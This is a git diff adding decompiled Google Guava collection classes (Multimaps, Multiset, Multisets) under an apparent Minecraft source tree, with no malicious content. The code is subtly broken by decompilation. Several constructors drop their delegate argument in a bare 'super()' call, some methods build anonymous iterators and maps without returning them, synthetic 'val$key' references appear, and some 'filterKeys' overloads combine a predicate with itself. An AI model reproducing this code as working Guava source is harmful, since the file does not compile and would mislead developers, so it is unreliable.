+    
+    public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(Object key, Object value) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<V> removeAll(Object key) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<V> values() {
+      Collection<V> result = values;
+      if (result == null) {
+        values = (result = Collections.unmodifiableCollection(delegate.values()));
+      }
+      return result;
+    }
+  }
+  
+  private static class UnmodifiableListMultimap<K, V> extends Multimaps.UnmodifiableMultimap<K, V> implements ListMultimap<K, V>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableListMultimap(ListMultimap<K, V> delegate) {
+      super();
+    }
+    
+    public ListMultimap<K, V> delegate() { return (ListMultimap)super.delegate(); }
+    
+    public List<V> get(K key) {
+      return Collections.unmodifiableList(delegate().get(key));
+    }
+    
+    public List<V> removeAll(Object key) { throw new UnsupportedOperationException(); }
+    
+    public List<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  private static class UnmodifiableSetMultimap<K, V> extends Multimaps.UnmodifiableMultimap<K, V> implements SetMultimap<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableSetMultimap(SetMultimap<K, V> delegate) {
+      super();
+    }
+    
+    public SetMultimap<K, V> delegate() { return (SetMultimap)super.delegate(); }
+    
+
+
+
+    public Set<V> get(K key)
+    {
+      return Collections.unmodifiableSet(delegate().get(key));
+    }
+    
+    public Set<Map.Entry<K, V>> entries() { return Maps.unmodifiableEntrySet(delegate().entries()); }
+    
+    public Set<V> removeAll(Object key) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Set<V> replaceValues(K key, Iterable<? extends V> values) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  private static class UnmodifiableSortedSetMultimap<K, V> extends Multimaps.UnmodifiableSetMultimap<K, V> implements SortedSetMultimap<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableSortedSetMultimap(SortedSetMultimap<K, V> delegate) {
+      super();
+    }
+    
+    public SortedSetMultimap<K, V> delegate() { return (SortedSetMultimap)super.delegate(); }
+    
+    public SortedSet<V> get(K key) {
+      return Collections.unmodifiableSortedSet(delegate().get(key));
+    }
+    
+    public SortedSet<V> removeAll(Object key) { throw new UnsupportedOperationException(); }
+    
+    public SortedSet<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Comparator<? super V> valueComparator() {
+      return delegate().valueComparator();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> synchronizedSetMultimap(SetMultimap<K, V> multimap)
+  {
+    return Synchronized.setMultimap(multimap, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> unmodifiableSetMultimap(SetMultimap<K, V> delegate)
+  {
+    if (((delegate instanceof UnmodifiableSetMultimap)) || ((delegate instanceof ImmutableSetMultimap)))
+    {
+      return delegate;
+    }
+    return new UnmodifiableSetMultimap(delegate);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <K, V> SetMultimap<K, V> unmodifiableSetMultimap(ImmutableSetMultimap<K, V> delegate)
+  {
+    return (SetMultimap)Preconditions.checkNotNull(delegate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedSetMultimap<K, V> synchronizedSortedSetMultimap(SortedSetMultimap<K, V> multimap)
+  {
+    return Synchronized.sortedSetMultimap(multimap, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedSetMultimap<K, V> unmodifiableSortedSetMultimap(SortedSetMultimap<K, V> delegate)
+  {
+    if ((delegate instanceof UnmodifiableSortedSetMultimap)) {
+      return delegate;
+    }
+    return new UnmodifiableSortedSetMultimap(delegate);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K, V> ListMultimap<K, V> synchronizedListMultimap(ListMultimap<K, V> multimap)
+  {
+    return Synchronized.listMultimap(multimap, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ListMultimap<K, V> unmodifiableListMultimap(ListMultimap<K, V> delegate)
+  {
+    if (((delegate instanceof UnmodifiableListMultimap)) || ((delegate instanceof ImmutableListMultimap)))
+    {
+      return delegate;
+    }
+    return new UnmodifiableListMultimap(delegate);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ListMultimap<K, V> unmodifiableListMultimap(ImmutableListMultimap<K, V> delegate)
+  {
+    return (ListMultimap)Preconditions.checkNotNull(delegate);
+  }
+  
+
+
+
+
+
+
+
+
+  private static <V> Collection<V> unmodifiableValueCollection(Collection<V> collection)
+  {
+    if ((collection instanceof SortedSet))
+      return Collections.unmodifiableSortedSet((SortedSet)collection);
+    if ((collection instanceof Set))
+      return Collections.unmodifiableSet((Set)collection);
+    if ((collection instanceof List)) {
+      return Collections.unmodifiableList((List)collection);
+    }
+    return Collections.unmodifiableCollection(collection);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static <K, V> Collection<Map.Entry<K, V>> unmodifiableEntries(Collection<Map.Entry<K, V>> entries)
+  {
+    if ((entries instanceof Set)) {
+      return Maps.unmodifiableEntrySet((Set)entries);
+    }
+    return new Maps.UnmodifiableEntries(Collections.unmodifiableCollection(entries));
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> Map<K, List<V>> asMap(ListMultimap<K, V> multimap)
+  {
+    return multimap.asMap();
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> Map<K, Set<V>> asMap(SetMultimap<K, V> multimap)
+  {
+    return multimap.asMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> Map<K, SortedSet<V>> asMap(SortedSetMultimap<K, V> multimap)
+  {
+    return multimap.asMap();
+  }
+  
+
+
+
+
+
+  @Beta
+  public static <K, V> Map<K, Collection<V>> asMap(Multimap<K, V> multimap)
+  {
+    return multimap.asMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> forMap(Map<K, V> map)
+  {
+    return new MapMultimap(map);
+  }
+  
+  private static class MapMultimap<K, V> extends AbstractMultimap<K, V> implements SetMultimap<K, V>, Serializable
+  {
+    final Map<K, V> map;
+    private static final long serialVersionUID = 7845222491160860175L;
+    
+    MapMultimap(Map<K, V> map) {
+      this.map = ((Map)Preconditions.checkNotNull(map));
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsEntry(Object key, Object value)
+    {
+      return map.entrySet().contains(Maps.immutableEntry(key, value));
+    }
+    
+    public Set<V> get(final K key)
+    {
+      new Sets.ImprovedAbstractSet() {
+        public Iterator<V> iterator() {
+          new Iterator()
+          {
+            int i;
+            
+            public boolean hasNext() {
+              return (i == 0) && (map.containsKey(val$key));
+            }
+            
+            public V next()
+            {
+              if (!hasNext()) {
+                throw new NoSuchElementException();
+              }
+              i += 1;
+              return map.get(val$key);
+            }
+            
+            public void remove()
+            {
+              CollectPreconditions.checkRemove(i == 1);
+              i = -1;
+              map.remove(val$key);
+            }
+          };
+        }
+        
+        public int size() {
+          return map.containsKey(key) ? 1 : 0;
+        }
+      };
+    }
+    
+    public boolean put(K key, V value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean putAll(K key, Iterable<? extends V> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Set<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(Object key, Object value)
+    {
+      return map.entrySet().remove(Maps.immutableEntry(key, value));
+    }
+    
+    public Set<V> removeAll(Object key)
+    {
+      Set<V> values = new HashSet(2);
+      if (!map.containsKey(key)) {
+        return values;
+      }
+      values.add(map.remove(key));
+      return values;
+    }
+    
+    public void clear()
+    {
+      map.clear();
+    }
+    
+    public Set<K> keySet()
+    {
+      return map.keySet();
+    }
+    
+    public Collection<V> values()
+    {
+      return map.values();
+    }
+    
+    public Set<Map.Entry<K, V>> entries()
+    {
+      return map.entrySet();
+    }
+    
+    Iterator<Map.Entry<K, V>> entryIterator()
+    {
+      return map.entrySet().iterator();
+    }
+    
+    Map<K, Collection<V>> createAsMap()
+    {
+      return new Multimaps.AsMap(this);
+    }
+    
+    public int hashCode() {
+      return map.hashCode();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> Multimap<K, V2> transformValues(Multimap<K, V1> fromMultimap, Function<? super V1, V2> function)
+  {
+    Preconditions.checkNotNull(function);
+    Maps.EntryTransformer<K, V1, V2> transformer = Maps.asEntryTransformer(function);
+    return transformEntries(fromMultimap, transformer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> Multimap<K, V2> transformEntries(Multimap<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return new TransformedEntriesMultimap(fromMap, transformer);
+  }
+  
+  private static class TransformedEntriesMultimap<K, V1, V2> extends AbstractMultimap<K, V2>
+  {
+    final Multimap<K, V1> fromMultimap;
+    final Maps.EntryTransformer<? super K, ? super V1, V2> transformer;
+    
+    TransformedEntriesMultimap(Multimap<K, V1> fromMultimap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+    {
+      this.fromMultimap = ((Multimap)Preconditions.checkNotNull(fromMultimap));
+      this.transformer = ((Maps.EntryTransformer)Preconditions.checkNotNull(transformer));
+    }
+    
+    Collection<V2> transform(K key, Collection<V1> values) {
+      Function<? super V1, V2> function = Maps.asValueToValueFunction(transformer, key);
+      
+      if ((values instanceof List)) {
+        return Lists.transform((List)values, function);
+      }
+      return Collections2.transform(values, function);
+    }
+    
+
+    Map<K, Collection<V2>> createAsMap()
+    {
+      Maps.transformEntries(fromMultimap.asMap(), new Maps.EntryTransformer()
+      {
+        public Collection<V2> transformEntry(K key, Collection<V1> value)
+        {
+          return transform(key, value);
+        }
+      });
+    }
+    
+    public void clear() {
+      fromMultimap.clear();
+    }
+    
+    public boolean containsKey(Object key) {
+      return fromMultimap.containsKey(key);
+    }
+    
+    Iterator<Map.Entry<K, V2>> entryIterator()
+    {
+      return Iterators.transform(fromMultimap.entries().iterator(), Maps.asEntryToEntryFunction(transformer));
+    }
+    
+    public Collection<V2> get(K key)
+    {
+      return transform(key, fromMultimap.get(key));
+    }
+    
+    public boolean isEmpty() {
+      return fromMultimap.isEmpty();
+    }
+    
+    public Set<K> keySet() {
+      return fromMultimap.keySet();
+    }
+    
+    public Multiset<K> keys() {
+      return fromMultimap.keys();
+    }
+    
+    public boolean put(K key, V2 value) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean putAll(K key, Iterable<? extends V2> values) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean putAll(Multimap<? extends K, ? extends V2> multimap)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(Object key, Object value)
+    {
+      return get(key).remove(value);
+    }
+    
+    public Collection<V2> removeAll(Object key)
+    {
+      return transform(key, fromMultimap.removeAll(key));
+    }
+    
+    public Collection<V2> replaceValues(K key, Iterable<? extends V2> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return fromMultimap.size();
+    }
+    
+    Collection<V2> createValues()
+    {
+      return Collections2.transform(fromMultimap.entries(), Maps.asEntryToValueFunction(transformer));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> ListMultimap<K, V2> transformValues(ListMultimap<K, V1> fromMultimap, Function<? super V1, V2> function)
+  {
+    Preconditions.checkNotNull(function);
+    Maps.EntryTransformer<K, V1, V2> transformer = Maps.asEntryTransformer(function);
+    return transformEntries(fromMultimap, transformer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V1, V2> ListMultimap<K, V2> transformEntries(ListMultimap<K, V1> fromMap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+  {
+    return new TransformedEntriesListMultimap(fromMap, transformer);
+  }
+  
+  private static final class TransformedEntriesListMultimap<K, V1, V2>
+    extends Multimaps.TransformedEntriesMultimap<K, V1, V2>
+    implements ListMultimap<K, V2>
+  {
+    TransformedEntriesListMultimap(ListMultimap<K, V1> fromMultimap, Maps.EntryTransformer<? super K, ? super V1, V2> transformer)
+    {
+      super(transformer);
+    }
+    
+    List<V2> transform(K key, Collection<V1> values) {
+      return Lists.transform((List)values, Maps.asValueToValueFunction(transformer, key));
+    }
+    
+    public List<V2> get(K key) {
+      return transform(key, fromMultimap.get(key));
+    }
+    
+    public List<V2> removeAll(Object key)
+    {
+      return transform(key, fromMultimap.removeAll(key));
+    }
+    
+    public List<V2> replaceValues(K key, Iterable<? extends V2> values)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> index(Iterable<V> values, Function<? super V, K> keyFunction)
+  {
+    return index(values.iterator(), keyFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> index(Iterator<V> values, Function<? super V, K> keyFunction)
+  {
+    Preconditions.checkNotNull(keyFunction);
+    ImmutableListMultimap.Builder<K, V> builder = ImmutableListMultimap.builder();
+    
+    while (values.hasNext()) {
+      V value = values.next();
+      Preconditions.checkNotNull(value, values);
+      builder.put(keyFunction.apply(value), value);
+    }
+    return builder.build();
+  }
+  
+  static class Keys<K, V> extends AbstractMultiset<K> {
+    final Multimap<K, V> multimap;
+    
+    Keys(Multimap<K, V> multimap) {
+      this.multimap = multimap;
+    }
+    
+    Iterator<Multiset.Entry<K>> entryIterator() {
+      new TransformedIterator(multimap.asMap().entrySet().iterator())
+      {
+
+        Multiset.Entry<K> transform(final Map.Entry<K, Collection<V>> backingEntry)
+        {
+          new Multisets.AbstractEntry()
+          {
+            public K getElement() {
+              return backingEntry.getKey();
+            }
+            
+            public int getCount()
+            {
+              return ((Collection)backingEntry.getValue()).size();
+            }
+          };
+        }
+      };
+    }
+    
+    int distinctElements() {
+      return multimap.asMap().size();
+    }
+    
+
+    Set<Multiset.Entry<K>> createEntrySet() { return new KeysEntrySet(); }
+    
+    class KeysEntrySet extends Multisets.EntrySet<K> {
+      KeysEntrySet() {}
+      
+      Multiset<K> multiset() { return Multimaps.Keys.this; }
+      
+      public Iterator<Multiset.Entry<K>> iterator()
+      {
+        return entryIterator();
+      }
+      
+      public int size() {
+        return distinctElements();
+      }
+      
+      public boolean isEmpty() {
+        return multimap.isEmpty();
+      }
+      
+      public boolean contains(@Nullable Object o) {
+        if ((o instanceof Multiset.Entry)) {
+          Multiset.Entry<?> entry = (Multiset.Entry)o;
+          Collection<V> collection = (Collection)multimap.asMap().get(entry.getElement());
+          return (collection != null) && (collection.size() == entry.getCount());
+        }
+        return false;
+      }
+      
+      public boolean remove(@Nullable Object o) {
+        if ((o instanceof Multiset.Entry)) {
+          Multiset.Entry<?> entry = (Multiset.Entry)o;
+          Collection<V> collection = (Collection)multimap.asMap().get(entry.getElement());
+          if ((collection != null) && (collection.size() == entry.getCount())) {
+            collection.clear();
+            return true;
+          }
+        }
+        return false;
+      }
+    }
+    
+    public boolean contains(@Nullable Object element) {
+      return multimap.containsKey(element);
+    }
+    
+    public Iterator<K> iterator() {
+      return Maps.keyIterator(multimap.entries().iterator());
+    }
+    
+    public int count(@Nullable Object element) {
+      Collection<V> values = (Collection)Maps.safeGet(multimap.asMap(), element);
+      return values == null ? 0 : values.size();
+    }
+    
+    public int remove(@Nullable Object element, int occurrences) {
+      CollectPreconditions.checkNonnegative(occurrences, "occurrences");
+      if (occurrences == 0) {
+        return count(element);
+      }
+      
+      Collection<V> values = (Collection)Maps.safeGet(multimap.asMap(), element);
+      
+      if (values == null) {
+        return 0;
+      }
+      
+      int oldCount = values.size();
+      if (occurrences >= oldCount) {
+        values.clear();
+      } else {
+        Iterator<V> iterator = values.iterator();
+        for (int i = 0; i < occurrences; i++) {
+          iterator.next();
+          iterator.remove();
+        }
+      }
+      return oldCount;
+    }
+    
+    public void clear() {
+      multimap.clear();
+    }
+    
+    public Set<K> elementSet() {
+      return multimap.keySet();
+    }
+  }
+  
+  static abstract class Entries<K, V> extends AbstractCollection<Map.Entry<K, V>>
+  {
+    Entries() {}
+    
+    abstract Multimap<K, V> multimap();
+    
+    public int size()
+    {
+      return multimap().size();
+    }
+    
+    public boolean contains(@Nullable Object o) {
+      if ((o instanceof Map.Entry)) {
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        return multimap().containsEntry(entry.getKey(), entry.getValue());
+      }
+      return false;
+    }
+    
+    public boolean remove(@Nullable Object o) {
+      if ((o instanceof Map.Entry)) {
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        return multimap().remove(entry.getKey(), entry.getValue());
+      }
+      return false;
+    }
+    
+    public void clear() {
+      multimap().clear();
+    }
+  }
+  
+
+  static final class AsMap<K, V>
+    extends Maps.ImprovedAbstractMap<K, Collection<V>>
+  {
+    private final Multimap<K, V> multimap;
+    
+    AsMap(Multimap<K, V> multimap)
+    {
+      this.multimap = ((Multimap)Preconditions.checkNotNull(multimap));
+    }
+    
+    public int size() {
+      return multimap.keySet().size();
+    }
+    
+    protected Set<Map.Entry<K, Collection<V>>> createEntrySet() {
+      return new EntrySet();
+    }
+    
+
+    void removeValuesForKey(Object key) { multimap.keySet().remove(key); }
+    
+    class EntrySet extends Maps.EntrySet<K, Collection<V>> {
+      EntrySet() {}
+      
+      Map<K, Collection<V>> map() { return Multimaps.AsMap.this; }
+      
+      public Iterator<Map.Entry<K, Collection<V>>> iterator()
+      {
+        Maps.asMapEntryIterator(multimap.keySet(), new Function()
+        {
+          public Collection<V> apply(K key) {
+            return multimap.get(key);
+          }
+        });
+      }
+      
+      public boolean remove(Object o) {
+        if (!contains(o)) {
+          return false;
+        }
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        removeValuesForKey(entry.getKey());
+        return true;
+      }
+    }
+    
+    public Collection<V> get(Object key)
+    {
+      return containsKey(key) ? multimap.get(key) : null;
+    }
+    
+    public Collection<V> remove(Object key) {
+      return containsKey(key) ? multimap.removeAll(key) : null;
+    }
+    
+    public Set<K> keySet() {
+      return multimap.keySet();
+    }
+    
+    public boolean isEmpty() {
+      return multimap.isEmpty();
+    }
+    
+    public boolean containsKey(Object key) {
+      return multimap.containsKey(key);
+    }
+    
+    public void clear() {
+      multimap.clear();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> filterKeys(Multimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    if ((unfiltered instanceof SetMultimap))
+      return filterKeys((SetMultimap)unfiltered, keyPredicate);
+    if ((unfiltered instanceof ListMultimap))
+      return filterKeys((ListMultimap)unfiltered, keyPredicate);
+    if ((unfiltered instanceof FilteredKeyMultimap)) {
+      FilteredKeyMultimap<K, V> prev = (FilteredKeyMultimap)unfiltered;
+      return new FilteredKeyMultimap(unfiltered, Predicates.and(keyPredicate, keyPredicate));
+    }
+    if ((unfiltered instanceof FilteredMultimap)) {
+      FilteredMultimap<K, V> prev = (FilteredMultimap)unfiltered;
+      return filterFiltered(prev, Maps.keyPredicateOnEntries(keyPredicate));
+    }
+    return new FilteredKeyMultimap(unfiltered, keyPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> filterKeys(SetMultimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    if ((unfiltered instanceof FilteredKeySetMultimap)) {
+      FilteredKeySetMultimap<K, V> prev = (FilteredKeySetMultimap)unfiltered;
+      return new FilteredKeySetMultimap(prev.unfiltered(), Predicates.and(keyPredicate, keyPredicate));
+    }
+    if ((unfiltered instanceof FilteredSetMultimap)) {
+      FilteredSetMultimap<K, V> prev = (FilteredSetMultimap)unfiltered;
+      return filterFiltered(prev, Maps.keyPredicateOnEntries(keyPredicate));
+    }
+    return new FilteredKeySetMultimap(unfiltered, keyPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ListMultimap<K, V> filterKeys(ListMultimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    if ((unfiltered instanceof FilteredKeyListMultimap)) {
+      FilteredKeyListMultimap<K, V> prev = (FilteredKeyListMultimap)unfiltered;
+      return new FilteredKeyListMultimap(prev.unfiltered(), Predicates.and(keyPredicate, keyPredicate));
+    }
+    
+    return new FilteredKeyListMultimap(unfiltered, keyPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> filterValues(Multimap<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    return filterEntries(unfiltered, Maps.valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> filterValues(SetMultimap<K, V> unfiltered, Predicate<? super V> valuePredicate)
+  {
+    return filterEntries(unfiltered, Maps.valuePredicateOnEntries(valuePredicate));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> filterEntries(Multimap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Preconditions.checkNotNull(entryPredicate);
+    if ((unfiltered instanceof SetMultimap)) {
+      return filterEntries((SetMultimap)unfiltered, entryPredicate);
+    }
+    return (unfiltered instanceof FilteredMultimap) ? filterFiltered((FilteredMultimap)unfiltered, entryPredicate) : new FilteredEntryMultimap((Multimap)Preconditions.checkNotNull(unfiltered), entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> filterEntries(SetMultimap<K, V> unfiltered, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Preconditions.checkNotNull(entryPredicate);
+    return (unfiltered instanceof FilteredSetMultimap) ? filterFiltered((FilteredSetMultimap)unfiltered, entryPredicate) : new FilteredEntrySetMultimap((SetMultimap)Preconditions.checkNotNull(unfiltered), entryPredicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static <K, V> Multimap<K, V> filterFiltered(FilteredMultimap<K, V> multimap, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Predicate<Map.Entry<K, V>> predicate = Predicates.and(multimap.entryPredicate(), entryPredicate);
+    
+    return new FilteredEntryMultimap(multimap.unfiltered(), predicate);
+  }
+  
+
+
+
+
+
+
+
+  private static <K, V> SetMultimap<K, V> filterFiltered(FilteredSetMultimap<K, V> multimap, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Predicate<Map.Entry<K, V>> predicate = Predicates.and(multimap.entryPredicate(), entryPredicate);
+    
+    return new FilteredEntrySetMultimap(multimap.unfiltered(), predicate);
+  }
+  
+  static boolean equalsImpl(Multimap<?, ?> multimap, @Nullable Object object) {
+    if (object == multimap) {
+      return true;
+    }
+    if ((object instanceof Multimap)) {
+      Multimap<?, ?> that = (Multimap)object;
+      return multimap.asMap().equals(that.asMap());
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Multiset.java b/src/minecraft/com/google/common/collect/Multiset.java
new file mode 100644
index 0000000..617dc83
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Multiset.java
@@ -0,0 +1,59 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface Multiset<E>
+  extends Collection<E>
+{
+  public abstract int count(@Nullable Object paramObject);
+  
+  public abstract int add(@Nullable E paramE, int paramInt);
+  
+  public abstract int remove(@Nullable Object paramObject, int paramInt);
+  
+  public abstract int setCount(E paramE, int paramInt);
+  
+  public abstract boolean setCount(E paramE, int paramInt1, int paramInt2);
+  
+  public abstract Set<E> elementSet();
+  
+  public abstract Set<Entry<E>> entrySet();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+  
+  public abstract String toString();
+  
+  public abstract Iterator<E> iterator();
+  
+  public abstract boolean contains(@Nullable Object paramObject);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean add(E paramE);
+  
+  public abstract boolean remove(@Nullable Object paramObject);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public static abstract interface Entry<E>
+  {
+    public abstract E getElement();
+    
+    public abstract int getCount();
+    
+    public abstract boolean equals(Object paramObject);
+    
+    public abstract int hashCode();
+    
+    public abstract String toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Multisets.java b/src/minecraft/com/google/common/collect/Multisets.java
new file mode 100644
index 0000000..58cb0dc
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Multisets.java
@@ -0,0 +1,1082 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.primitives.Ints;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Multisets
+{
+  private Multisets() {}
+  
+  public static <E> Multiset<E> unmodifiableMultiset(Multiset<? extends E> multiset)
+  {
+    if (((multiset instanceof UnmodifiableMultiset)) || ((multiset instanceof ImmutableMultiset)))
+    {
+
+
+      Multiset<E> result = multiset;
+      return result;
+    }
+    return new UnmodifiableMultiset((Multiset)Preconditions.checkNotNull(multiset));
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> Multiset<E> unmodifiableMultiset(ImmutableMultiset<E> multiset) { return (Multiset)Preconditions.checkNotNull(multiset); }
+  
+  static class UnmodifiableMultiset<E> extends ForwardingMultiset<E> implements Serializable {
+    final Multiset<? extends E> delegate;
+    transient Set<E> elementSet;
+    transient Set<Multiset.Entry<E>> entrySet;
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableMultiset(Multiset<? extends E> delegate) { this.delegate = delegate; }
+    
+
+
+    protected Multiset<E> delegate()
+    {
+      return delegate;
+    }
+    
+
+    Set<E> createElementSet()
+    {
+      return Collections.unmodifiableSet(delegate.elementSet());
+    }
+    
+    public Set<E> elementSet()
+    {
+      Set<E> es = elementSet;
+      return es == null ? (this.elementSet = createElementSet()) : es;
+    }
+    
+
+
+    public Set<Multiset.Entry<E>> entrySet()
+    {
+      Set<Multiset.Entry<E>> es = entrySet;
+      return es == null ? (this.entrySet = Collections.unmodifiableSet(delegate.entrySet())) : es;
+    }
+    
+
+
+
+
+
+    public Iterator<E> iterator()
+    {
+      return Iterators.unmodifiableIterator(delegate.iterator());
+    }
+    
+    public boolean add(E element) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int add(E element, int occurences) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(Collection<? extends E> elementsToAdd) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(Object element) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int remove(Object element, int occurrences) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean removeAll(Collection<?> elementsToRemove) {
+      throw new UnsupportedOperationException();
+    }
+    
